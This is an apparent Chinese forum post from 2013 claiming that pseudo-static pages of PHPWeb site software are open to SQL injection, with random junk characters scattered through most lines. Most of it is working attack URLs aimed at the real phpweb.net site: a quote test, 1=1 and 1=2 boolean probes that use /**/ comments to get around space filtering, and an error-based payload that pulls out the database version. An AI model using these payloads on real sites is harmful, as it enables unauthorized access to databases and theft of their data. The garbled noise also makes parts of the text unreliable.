phpweb所有的整站程序伪静态页面都存在sql注入( u0 m3 [% n/ E+ G
# ?4 E8 Y4 @+ o8 A主站：http://phpweb.net// v' R- ]: |& `, h
加’检测：) i$ @; r. H% ^7 B5 E4 N5 F. h1 `
( ^! N- G# ~7 n( g$ @) e. K
http://www.phpweb.net/down/html/?772′.html
( |: _% ~' y* K/ D* i/ Y
9 A3 Z5 p6 E' ~$ P5 [/ H$ q出错
+ u$ @" ~+ p+ z4 s存在注入。2 ^/ P& \* H5 \0 X3 \" `; p
不能用空格，只能用/*罗
- h m5 P! c" @' }) nhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
+ W" p9 W8 r' l# Q* ]' Z , I1 S j6 b/ }: Z& U! e
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.8 Q& |0 R: t. |% n- E
爆数据库版本：
2 `( ~1 D& i' V* M( e2 ~ 4 h; T! w0 x9 P9 C6 \. i
?
; @' _# R, H- d% Y M18 @3 e' v* ] \& C" }* G* j
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
8 l* i/ B) z1 [' J+ \9 ?更新日期: 2013-01-03 13:39:50
5 U i( H; h& h! K* a2 r: S |
发表于 2013-1-4 19:46:42
收藏
支持
反对